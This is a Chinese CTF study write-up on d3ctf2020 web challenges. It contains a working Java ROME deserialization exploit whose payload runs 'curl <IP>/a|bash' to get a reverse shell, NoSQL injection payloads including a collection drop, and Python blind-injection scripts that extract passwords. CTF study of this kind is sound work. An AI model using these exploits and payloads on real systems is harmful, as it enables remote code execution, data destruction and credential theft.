2022d3CTF 部分web题基础知识学习

[d3ctf2020]shorter

rome1.0反序列化链调试见上面(第三周标题为[d3ctf2020]的内容)

当时参考的资料:

ROME反序列化分析 (c014.cn)

javassist使用全解析 - rickiyang - 博客园 (cnblogs.com)

https://xz.aliyun.com/t/6787#toc-8 (java反射入门)

https://developer.huawei.com/consumer/cn/forum/topic/0204473033987230107 (java反射使用)

(64条消息) java Runtime.getRuntime().exec 获取反弹shell_whatday的专栏-CSDN博客_exec反弹shell

exec 不用字符串数组反弹shell

拖入javaGUI反编译,找到控制器,读源码

public class MainController {
  @GetMapping({"/hello"})
  public String index() {
    return "hello";
  }
  
  @PostMapping({"/hello"})
  public String index(@RequestParam String baseStr) throws IOException, ClassNotFoundException {
    if (baseStr.length() >= 1956)
      return "too long"; 
    byte[] decode = Base64.getDecoder().decode(baseStr);
    ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode);
    ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
    objectInputStream.readObject();
    return "hello";
  }
}

随后看到rome1.0想到反序列化,这里使用yoserial发现payload过长,通过阅读ROME反序列化分析 (c014.cn)了解原理准备手写

本地搭建题目环境:

  • 可以使用dockerfile:
docker build .;docker run -d -p 5144:8080 镜像id;
  • 用idea

参考w彬大哥的话

本地搭建rome1.0环境:

  • ROME反序列化分析 (c014.cn)

开始分析

原来的rome1.0在yoserial这个工具中生成的利用链如下

TemplatesImpl.getOutputProperties()
NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
NativeMethodAccessorImpl.invoke(Object, Object[])
DelegatingMethodAccessorImpl.invoke(Object, Object[])
Method.invoke(Object, Object...)
ToStringBean.toString(String) //5 这些序号有小到大表示调试的时候经过的函数
ToStringBean.toString() //4
ObjectBean.toString() //3
EqualsBean.beanHashCode() //2
ObjectBean.hashCode() //1

HashMap.hash(Object)
HashMap.readObject(ObjectInputStream)

之后就按照ROME反序列化分析 (c014.cn)不断的给赋值,或者缩短链子,但是最后仍然太长,有一种比较接近我们做法的非预期解是通过终极Java反序列化Payload缩小技术 | 4ra1n用javassit把eval方法重写一遍

payload


关于exec

进来到runtime().exec(“cmd”)的exec以后

无论是简单的"calc"或者是"/bin/sh -c echo 111 > 3.txt”,最后都是调用最上面那个exec,跟进一下

2022d3CTF 部分web题基础知识学习_第1张图片

进入StringTokenizer

2022d3CTF 部分web题基础知识学习_第2张图片

查看一下注释,大概是说会把空格之类的进行替换,根据杰哥的pdf,之后会借此转化为数组

跳出来

2022d3CTF 部分web题基础知识学习_第3张图片

蓝色部分上面的for循环作用就是把字符串这些变成数组

processbuilder建立一个进程

2022d3CTF 部分web题基础知识学习_第4张图片

进程start

2022d3CTF 部分web题基础知识学习_第5张图片

然后进去,(会发现只是来到下面),一路调试下来,看到这个准备进去

2022d3CTF 部分web题基础知识学习_第6张图片

2022d3CTF 部分web题基础知识学习_第7张图片

进入create

2022d3CTF 部分web题基础知识学习_第8张图片

这样就调了一下,明白了runtime.exec()的原理

这时候就有了另一种做法

因为| > <这个在runtime.exec()会有问题(经过调试,他会在生成数组那个地方错误的解析我们的command)

所以可以考虑ProcessBuilder().start()

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;

public class exp {
    public static void setFieldValue(Object obj,String fieldname,Object value)
            throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldname);
        field.setAccessible(true);
        field.set(obj,value);
    }
    private static byte[] getTemplatesImpl(String cmd) {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("Evil");
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
            ctClass.setSuperclass(superClass);
            CtConstructor constructor = ctClass.makeClassInitializer();
            constructor.setBody(" try {\n" +
                    "String[] arrCmd = {\"bash\",\"-c\",\"\\\"curl 8.129.42.140:3307/a|bash\\\"\"};"+
                    "ProcessBuilder processBuilder = new ProcessBuilder(arrCmd);\n" +
                    "Process p = processBuilder.start();\n" +
                    " } catch (Exception ignored) {\n" +
                    " }");
            byte[] bytes = ctClass.toBytecode();
            ctClass.defrost();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[]{};
        }
    }
    public static void main(String[] args) throws Exception{
//TemplateImpl 动态加载字节码
        byte[] code = getTemplatesImpl("calc");
    // byte[] code = ClassPool.getDefault().get("com.HelloTemplatesImpl").toBytecode();
    TemplatesImpl obj = new TemplatesImpl();
    setFieldValue(obj,"_name","jiang");
    setFieldValue(obj,"_class",null);
    // setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
    setFieldValue(obj,"_bytecodes",new byte[][]{code});
    EqualsBean bean = new EqualsBean(String.class,"jiang");
    HashMap map1 = new HashMap();
    HashMap map2 = new HashMap();
    map1.put("yy",bean);
    map1.put("zZ",obj);
    map2.put("zZ",bean);
    map2.put("yy",obj);
    Hashtable table = new Hashtable();
    table.put(map1,"1");
    table.put(map2,"2");
    setFieldValue(bean,"_beanClass",Templates.class);
    setFieldValue(bean,"_obj",obj);
    //序列化
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(baos);
    oos.writeObject(table);
        oos.close();
        System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
        //反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }
}

然后再vps放个反弹shell为内容的a文件(也可以自己设置路由a等)

之后监听端口

发送payload
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cGKCFEpH-1648002982651)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220317135749484.png)]

可以看到反弹shell了

无奈nss和自己本地起的docker环境有点问题,不过鉴于此题的精髓已经学会了(面试的时候会吹了,idea反弹了),故不深究

总结:

  • 调试了rome1.0
  • 学习了如何给一个类的属性赋值
  • 学会了java rce的两张方式:runtime.exec();process.start() ; runtime.exec()不支持| > <
  • 学到了:在Linux环境中, ${IFS} 是一个内置的变量,用于标示命令中参数的分隔符。通常他的取值是空格 +TAB+换行(0x20 0x09 0x0a);而
  • 调试了runtime.exec();
  • 学会了如何使用javassist使用全解析 - rickiyang - 博客园 (cnblogs.com)重写一个类,代码框架如下
private static byte[] getTemplatesImpl(String cmd) {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("Evil");//起一个好听的名字
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");//固定
            ctClass.setSuperclass(superClass);
            CtConstructor constructor = ctClass.makeClassInitializer();
            constructor.setBody(" try {\n" +
                    "String[] arrCmd = {\"bash\",\"-c\",\"\\\"curl 8.129.42.140:3307/a|bash\\\"\"};"+
                    "ProcessBuilder processBuilder = new ProcessBuilder(arrCmd);\n" +
                    "Process p = processBuilder.start();\n" +
                    " } catch (Exception ignored) {\n" +
                    " }");
                    //上面setBody自定义,其他都是固定的
            byte[] bytes = ctClass.toBytecode();
            ctClass.defrost();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[]{};
        }
    }

然后只要new这个类就可以使用

[d3ctf2020]d3go

学这个题之前要了解nosql注入和go的汇编

而学nosql注入前要了解mongoDB

MonDB的一些概念:

SQL术语/概念 MongoDB术语/概念 解释/说明
database database 数据库
table collection //集合 数据库表/集合
row document //文档 数据记录行/文档
column field 数据字段/域
index index 索引
table joins 表连接,MongoDB不支持
primary key primary key 主键,MongoDB自动将_id字段设置为主键

数据库类似mysql那种,注意一些用法:

show dbs  //show databases;

db  //select database();

use 某某数据库     //相当于使用数据库或者创建数据库

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VbQqyUSM-1648002982652)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220317174602533.png)]

文档

文档是一组键值(key-value)对(即 BSON)。MongoDB 的文档不需要设置相同的字段,并且相同的字段不需要相同的数据类型,这与关系型数据库有很大的区别,也是 MongoDB 非常突出的特点。

{"site":"www.runoob.com", "name":"菜鸟教程"}

集合

集合就是 MongoDB 文档组,类似于表格。

集合存在于数据库中,集合没有固定的结构,这意味着你在对集合可以插入不同格式和类型的数据,但通常情况下我们插入集合的数据都会有一定的关联性。

比如,我们可以将以下不同数据结构的文档插入到集合中:

{"site":"www.baidu.com"}
{"site":"www.google.com","name":"Google"}
{"site":"www.runoob.com","name":"菜鸟教程","num":5}

接着是各种增删查改了

db的

use 数据库

db.dropDatabase()

db.createCollection(“thai”)

db.thai.drop()

2022d3CTF 部分web题基础知识学习_第9张图片

文档的插入

MongoDB 使用 insert() 或 save() 方法向集合中插入文档,语法如下:

db.COLLECTION_NAME.insert(document)
或
db.COLLECTION_NAME.save(document)
  • save():如果 _id 主键存在则更新数据,如果不存在就插入数据。该方法新版本中已废弃,可以使用 db.collection.insertOne()db.collection.replaceOne() 来代替。
  • insert(): 若插入的数据主键已经存在,则会抛 org.springframework.dao.DuplicateKeyException 异常,提示主键重复,不保存当前数据。

3.2 版本之后新增了 db.collection.insertOne() 和 db.collection.insertMany()。

db.collection.insertOne() 用于向集合插入一个新文档,语法格式如下:

db.collection.insertOne(
   ,
   {
      writeConcern: 
   }
)

db.collection.insertMany() 用于向集合插入一个多个文档,语法格式如下:

db.collection.insertMany(
   [  , , ... ],
   {
      writeConcern: ,
      ordered: 
   }
)

2022d3CTF 部分web题基础知识学习_第10张图片

MongoDB 查询文档

使用 find 方法来查询文档, find 方法以非结构化的方法来显示所有文档 需要以易读的方式来读取数据的话,可以使用 pretty 方法以格式化的方式来显示所有文档

db.collection.find(query, projection) 

参数说明: query:可选, 使用查询操作符指定查询条件, 相当于 sql select 语句中的 where 子句 projection:可选, 使用投影操作符指定返回的键

MongoDB 与 mysql Where 语句的比较

操作 格式 范例 RDBMS中的类似语句
等于 {:} db.col.find({"by":"菜鸟教程"}).pretty() where by = '菜鸟教程'
小于 {:{$lt:}} db.col.find({"likes":{$lt:50}}).pretty() where likes < 50
小于或等于 {:{$lte:}} db.col.find({"likes":{$lte:50}}).pretty() where likes <= 50
大于 {:{$gt:}} db.col.find({"likes":{$gt:50}}).pretty() where likes > 50
大于或等于 {:{$gte:}} db.col.find({"likes":{$gte:50}}).pretty() where likes >= 50
不等于 {:{$ne:}} db.col.find({"likes":{$ne:50}}).pretty() where likes != 50
db.col.insert({title: 'MongoDB 教程', 
    description: 'MongoDB 是一个 Nosql 数据库',
    by: '菜鸟教程',
    url: 'http://www.runoob.com',
    tags: ['mongodb', 'database', 'NoSQL'],
    likes: 100
})

NoSQL 注入的分类

有两种 NoSQL 注入分类的方式:

第一种是按照语言的分类,可以分为:PHP 数组注入,JavaScript 注入和 Mongo Shell 拼接注入等等。

第二种是按照攻击机制分类,可以分为:重言式注入,联合查询注入,JavaScript 注入、盲注等,

这种 分类方式很像传统 SQL 注入的分类方式。

重言式注入

又称为永真式,此类攻击是在条件语句中注入代码,使生成的表达式判定结果永远为真,从而绕过认证 或访问机制。

联合查询注入

联合查询是一种众所周知的 SQL 注入技术,攻击者利用一个脆弱的参数去改变给定查询返回的数据集。 联合查询最常用的用法是绕过认证页面获取数据。

JavaScript 注入

MongoDB Server 支持 JavaScript,这使得在数据引擎进行复杂事务和查询成为可能,但是传递不干净 的用户输入到这些查询中可以注入任意的 JavaScript 代码,导致非法的数据获取或篡改。

盲注

当页面没有回显时,那么我们可以通过 $regex 正则表达式来达到和传统 SQL 注入中 substr() 函数 相同的功能,而且 NoSQL 用到的基本上都是布尔盲注。 下面我们便通过 PHP 和 Nodejs 来讲解 MongoDB 注入的利用方式。

环境搭建

如果是phpstudy的话无需官网下载直接自带拓展,去那里点击安装即可

测试demo

首先在 MongoDB 中选中 test 数据库,创建一个 users 集合并插入文档数据:

> use test
switched to db test
>
> db.createCollection('users')
{ "ok" : 1 }
>
> db.users.insert({username: 'admin', password: '123456'})
WriteResult({ "nInserted" : 1 })
> db.users.insert({username: 'whoami', password: '657260'})
WriteResult({ "nInserted" : 1 })
> db.users.insert({username: 'bunny', password: '964795'})
WriteResult({ "nInserted" : 1 })
> db.users.insert({username: 'bob', password: '965379'})
WriteResult({ "nInserted" : 1 })
>

正常写入数据库中有的username passwd 就通过了,如果写成下面这种的$ne就会制造出永真式(与万能钥匙原理相同)

username[$ne]=1&password[$ne]=1

全部被查出来

原因是 这个进入到php中会变成这样子

array( 'username' => array('$ne' => 1), 'password' => array('$ne' => 1) )

进入到mongoDB就变成这样

db.users.find({'username':{$ne:1}, 'password':{$ne:1}})

image-20220317233731037

对于 PHP 本身的特性而言,由于其松散的数组特性,导致如果我们发送 value=1 那么,也就是发送了 一个 value 的值为 1 的数据。如果发送 value[ n e ] = 1 则 P H P 会 将 其 转 换 为 数 组 v a l u e = a r r a y ( ne]=1 则 PHP 会将其转换为数组 value=array( ne]=1PHPvalue=array(ne=>1) ,当数据到了进入 MongoDB 后,原来一个单一的 {“value”:1} 查询就变成 了一个 {“value”:{$ne:1} 条件查询。同样的,我们也可以使用下面这些作为 payload 进行攻击:

username[$ne]=&password[$ne]=
username[$gt]=&password[$gt]=
username[$gte]=&password[$gte]=

这种重言式注入的方式也是我们通常用来验证网站是否存在 NoSQL 注入的第一步。不仅是 $ne ,只要 可以构造用真条件就可以

联合查询注入

本地复现失败,

js注入

本地复现失败

db.users.find({ $where: "function() {if(this.username == ''||1) {return true;}})//' && this.password == '123456') {return true;}}" })

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AhSlVU0H-1648002982656)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220318092805698.png)]

使用 Command 方法造成的注入

MongoDB Driver 一般都提供直接执行 Shell 命令的方法,这些方式一般是不推荐使用的,但难免有人 为了实现一些复杂的查询去使用。在 MongoDB 的服务器端可以通过 db.eval 方法来执行 JavaScript 脚本,如我们可以定义一个 JavaScript 函数,然后通过 db.eval 在服务器端来运行。

但是在 PHP 官网中就已经友情提醒了不要这样使用:

 "print('Hello, $username!');"
] );
$r = $m->executeCommand( 'dramio', $cmd );
?>

还有人喜欢用 Command 去实现 MongoDB 的 distinct 方法,如下:

 "db.users.distinct('username',{'username':'$username'})"
] );
$result = $manager->executeCommand('test.users', $cmd)->toArray();
$count = count($result);
if ($count > 0) {
foreach ($result as $user) {
$user = ((array)$user);
echo '====Login Success====
'; echo 'username:' . $user['username'] . '
'; echo 'password:' . $user['password'] . '
'; } } else{ echo 'Login Failed'; } ?>

这样都是很危险的,因为这个就相当于把 Mongo Shell 开放给了用户,如果此时构造下列 (堆叠注入的思路)

username=1'});db.users.drop();db.user.find({'username':'1
username=1'});db.users.insert({"username":"admin","password":123456"});db.users.
find({'username':'1

则将改变原本的查询语句造成注入。如果当前应用连接数据库的权限恰好很高,我们能干的事情就更多 了。

Nosql 盲注

重言式布尔盲注

先讲一下$regex

$regex

为查询中的模式匹配字符串提供正则表达式功能 。MongoDB使用具有UTF-8支持的Perl兼容正则表达式(即“ PCRE”)版本8.42。

要使用$regex,请使用以下语法之一:

{ : { $regex: /pattern/, $options: '' } }
{ : { $regex: 'pattern', $options: '' } }
{ : { $regex: /pattern/ } }

在MongoDB中,您还可以使用正则表达式对象(即 /pattern/)来指定正则表达式:

{ : /pattern/ }

有关特定语法使用的限制,请参见 $ regex与/ pattern /语法。

  • $options

以下内容可用于正则表达式。

选项 描述 语法限制
i 不区分大小写,以匹配大小写。有关示例,请参见执行不区分大小写的正则表达式匹配。
m 对于包含锚点的模式(即^开始, $结束),请在每行的开头或结尾匹配具有多行值的字符串。如果没有此选项,这些锚点将在字符串的开头或结尾匹配。有关示例,请参见以指定模式开头的行的多行匹配。如果模式不包含锚点,或者字符串值不包含换行符(例如\n),则该m选项无效。
x “扩展”功能可以忽略模式中的所有空白字符,$regex除非转义或包含在字符类中。此外,它会忽略中间的字符,包括未转义的井号/磅(#)字符和下一个新行,因此您可以在复杂模式中添加注释。这仅适用于数据字符;空格字符永远不会出现在图案的特殊字符序列中。该x选项不影响VT字符(即代码11)的处理。 需要$regex$options语法
s 允许点字符(即.)匹配所有字符,包括换行符。有关示例,请参阅使用。点字符以匹配换行符。

总结:{ : { $regex: /pattern/, $options: '' } }

demo

';
echo "your password : ".$password;
echo '
'; $query = new MongoDB\Driver\Query(array( 'username' => $username, 'password' => $password )); $result = $manager->executeQuery('test.users', $query)->toArray(); $count = count($result); if ($count > 0) { foreach ($result as $user) { $user = ((array)$user); echo '====Login Success====
'; echo 'username:' . $user['username'] . '
'; echo 'password:' . $user['password'] . '
'; } } else{ echo 'Login Failed'; } ?

可以使用如下代码测试passwd长度

username=admin&password[$regex]=.{4} // 登录成功
username=admin&password[$regex]=.{5} // 登录成功
username=admin&password[$regex]=.{6} // 登录成功
username=admin&password[$regex]=.{7} // 登录失败

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bjbTxHs4-1648002982657)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220318111211949.png)]

这里复现成功了

求出长度以后可以盲注

username=admin&password[$regex]=1.{5}
username=admin&password[$regex]=12.{4}
username=admin&password[$regex]=123.{3}
username=admin&password[$regex]=1234.{2}
username=admin&password[$regex]=12345.*
username=admin&password[$regex]=123456
或
username=admin&password[$regex]=^1
username=admin&password[$regex]=^12
username=admin&password[$regex]=^123
username=admin&password[$regex]=^1234
username=admin&password[$regex]=^12345
username=admin&password[$regex]=^123456

据此可以做盲注脚本

import requests
import string

password = ''
url = 'http://192.168.226.148/index.php'

while True:
    for c in string.printable:
        if c not in ['*', '+', '.', '?', '|', '#', '&', '$']:

            # When the method is GET
            get_payload = '?username=admin&password[$regex]=^%s' % (password + c)
            # When the method is POST
            post_payload = {
                "username": "admin",
                "password[$regex]": '^' + password + c
            }
            # When the method is POST with JSON
            json_payload = """{"username":"admin", "password":{"$regex":"^%s"}}""" % (password + c)
            #headers = {'Content-Type': 'application/json'}
            #r = requests.post(url=url, headers=headers, data=json_payload)    # 简单发送 json

            r = requests.post(url=url, data=post_payload)
            if 'Login Success' in r.text:
                print("[+] %s" % (password + c))
                password += c

2022d3CTF 部分web题基础知识学习_第11张图片

js盲注

import requests

url = "http://192.168.219.130/"

headers = {
    "Content-Type": "application/x-www-form-urlencoded"
}

strings = "abcdefghijklmnopqrstuvwxyz1234567890!@#$%^&*()"

res = ""
for i in range(len(res)+1,30):
    if len(res) == i-1:
        for c in strings:
            data = {
                "username": "admin'&&this.password.substr(-" + str(i) + ")=='" + str(c + res) + "') {return true;}})//",
                "password": "123456"
            }
            r = requests.post(url=url,headers=headers, data=data)
            if "Login Success" in r.text:
                res = c + res
                print("[+] " + res)
                break
    else:
        print("[-] Failed")
        break

MongoDB 2.4 之前,通过 $where 操作符可以访问到 Mongo Shell 中的 全局函数和属性,如 db ,也就是说可以在自定义的函数里获取数据库的所有信息。

故有些版本可能复现不了

你可能感兴趣的:(web安全)